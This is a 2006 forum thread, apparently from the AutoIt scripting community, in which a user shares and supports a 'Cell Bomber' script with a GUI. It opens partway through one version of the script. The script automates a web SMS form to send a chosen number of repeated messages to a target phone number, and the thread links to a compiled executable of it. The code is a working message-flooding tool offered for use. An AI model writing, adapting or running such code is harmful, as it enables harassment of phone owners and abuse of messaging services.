$oInput.click ExitLoop EndIf Next _IELoadWait($oIE, 2000) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFuncFunc Toggle_Images($On_Off=0) If $On_Off == 0 Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "yes") Else RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "no") EndIf EndFunc ;==>Toggle_ImagesFunc OnAutoItExit () Toggle_Images()EndFunc Edited April 13, 2006 by zerocool60544 Check out ConsultingJoe.com
ConsultingJoe Posted April 13, 2006 Posted April 13, 2006 (edited) Let me know what you think Edited April 13, 2006 by zerocool60544 Check out ConsultingJoe.com
ConsultingJoe Posted April 27, 2006 Posted April 27, 2006 I have tried to update this but got stuck on googles, text verifier. It looks cool though expandcollapse popup#include <IE.au3> #include <GUIConstants.au3> $Form1 = GUICreate("Cell Bomber By: zerocool60544.t35.com", 305, 116, 204, 134) GUISetCursor(3) $Input1 = GUICtrlCreateInput("650-123-1234", 98, 6, 73, 21) GUICtrlSetCursor($Input1, 3) $Label1 = GUICtrlCreateLabel("Number To Bomb:", 8, 8, 90, 17) GUICtrlSetCursor($Label1, 3) $Label2 = GUICtrlCreateLabel("Subject (optional):", 8, 32, 89, 17) GUICtrlSetCursor($Label2, 3) $Input2 = GUICtrlCreateInput("", 98, 30, 73, 21) GUICtrlSetCursor($Input2, 3) $Combo1 = GUICtrlCreateCombo("", 176, 18, 122, 21) GUICtrlSetData(-1, "Select a Carrier|AT&T (now Cingular)|Alltel|CellularOne|Cincinnati Bell|Cingular|Cricket Communications|MetroPCS|Midwest Wireless|Nextel|Omnipoint|Qwest|Sprint|SunCom Wireless|T-Mobile|US Cellular|Verizon|Virgin Mobile|Western Wireless", "Select a Carrier") GUICtrlSetCursor($Combo1, 3) $Message = GUICtrlCreateEdit("", 8, 64, 209, 49, BitOR($ES_AUTOVSCROLL, $ES_AUTOHSCROLL, $ES_WANTRETURN, $WS_VSCROLL)) GUICtrlSetData($Message, "Message") GUICtrlSetCursor($Message, 3) $Button1 = GUICtrlCreateButton("Bombs Away", 224, 88, 75, 25, 0) GUICtrlSetCursor($Button1, 3) $Label3 = GUICtrlCreateLabel("Bombs:", 224, 64, 39, 17) GUICtrlSetCursor($Label3, 3) $Input3 = GUICtrlCreateInput("10", 264, 62, 33, 21) GUICtrlSetCursor($Input3, 3) GUISetState(@SW_SHOW) While 1 $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE ExitLoop Case $msg = $Button1 Bomb() Case Else ;;;;;;; EndSelect WEnd Exit Func Bomb() $number = GUICtrlRead($Input1) $splitnumber = StringSplit($number, "-") Select Case GUICtrlRead($Message) = "" MsgBox(0, "Cell Bomber", "The message is blank, you must have a message.") Return Case GUICtrlRead($Combo1) = "Select a Carrier" MsgBox(0, "Cell Bomber", "The carrier is not selected, you must select a carrier.") Return Case $splitnumber[0] <> 3 MsgBox(0, "Cell Bomber", "The phone number is not the correct format." & @CRLF & @CRLF & "Example: 650-123-1234") Return Case StringIsInt($splitnumber[1]) = 0 Or StringIsInt($splitnumber[2]) = 0 Or StringIsInt($splitnumber[3]) = 0 MsgBox(0, "Cell Bomber", "The phone number is not the correct format." & @CRLF & @CRLF & "Example: 650-123-1234") Return Case StringLen($splitnumber[1]) <> 3 Or StringLen($splitnumber[2]) <> 3 Or StringLen($splitnumber[3]) <> 4 MsgBox(0, "Cell Bomber", "The phone number is not the correct format." & @CRLF & @CRLF & "Example: 650-123-1234") Return EndSelect $carrier = GUICtrlRead($Combo1) Switch $carrier case "AT&T (now Cingular)" $carrier = "ATT" case "Alltel" $carrier = "ALLTEL" case "CellularOne" $carrier = "CELLULARONE" case "Cincinnati Bell" $carrier = "CINCINNATI_BELL" case "Cingular" $carrier = "CINGULAR" case "Cricket Communications" $carrier = "CRICKET" case "MetroPCS" $carrier = "METROPCS" case "Midwest Wireless" $carrier = "MIDWEST_WIRELESS" case "Nextel" $carrier = "NEXTEL" case "Omnipoint" $carrier = "OMNIPOINT" case "Qwest" $carrier = "QWEST" case "Sprint" $carrier = "SPRINT" case "SunCom Wireless" $carrier = "SUNCOM" case "T-Mobile" $carrier = "TMOBILE" case "US Cellular" $carrier = "USCELLULAR" case "Virgin Mobile" $carrier = "VIRGIN" case "Western Wireless" $carrier = "WESTERN_WIRELESS" EndSwitch $bombs = GUICtrlRead($Input3) $IE = _IECreate(1) For $bombsent = 1 To $bombs _IEnavigate ($IE, "http://toolbar.google.com/send/sms/index.php") _IELoadWait($IE, 200) $oForm = _IEFormGetObjByName ($IE, "sending_form") $object = _IEFormElementGetObjByName ($oForm, "mobile_user_id") _IEFormElementSetValue ($object, GUICtrlRead($Input1)) $objectcarrier = _IEFormElementGetObjByName ($oForm, "carrier") _IEFormElementSetValue ($objectcarrier, $carrier) $objectsubject = _IEFormElementGetObjByName ($oForm, "subject") _IEFormElementSetValue ($objectsubject, GUICtrlRead($Message)) $objectmessage = _IEFormElementGetObjByIndex ($oForm, 9) _IEFormElementSetValue ($objectmessage, 444) _IEFormSubmit($oForm) _IELoadWait($IE, 200) Next EndFunc Check out ConsultingJoe.com
beestinga Posted June 1, 2006 Posted June 1, 2006 I'm using the newest version of IE.au3 with this script, and when I use your pre-compiled version, it runs fine but when I use my IE.au3 file, it gives errors whenever it tries to load the page. I'm using the T2_2 ie.au3, but this is the first time I've used it. Any ideas? Would it be possible for me to get a hold of your ie.au3 file?
ConsultingJoe Posted June 1, 2006 Posted June 1, 2006 I'm using the newest version of IE.au3 with this script, and when I use your pre-compiled version, it runs fine but when I use my IE.au3 file, it gives errors whenever it tries to load the page. I'm using the T2_2 ie.au3, but this is the first time I've used it. Any ideas? Would it be possible for me to get a hold of your ie.au3 file?I use this one.http://www.autoitscript.com/forum/index.ph...pe=post&id=8987try choosing a different carrier, if that one works then the first carrier must have updated thier site.let me know which carrier Check out ConsultingJoe.com
ConsultingJoe Posted June 1, 2006 Posted June 1, 2006 (edited) Yeah it still works for me, if you want you can try the compiled version on my site.http://zerocool60544.t35.com/files/bomb.exe Edited June 1, 2006 by zerocool60544 Check out ConsultingJoe.com
beestinga Posted June 1, 2006 Posted June 1, 2006 Yeah it still works for me, if you want you can try the compiled version on my site.http://zerocool60544.t35.com/files/bomb.exeI know the compiled version works.I just don't know why I can't compile. I need to be able to, because I would like to steal portions of this to automate sending me a text message if something goes wrong in one of my programs.I don't, however, need the bombing or most of the bells or whistles this has. I just need to be able to incorporate sms into my app, and this seems to be the best free way to do it.
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now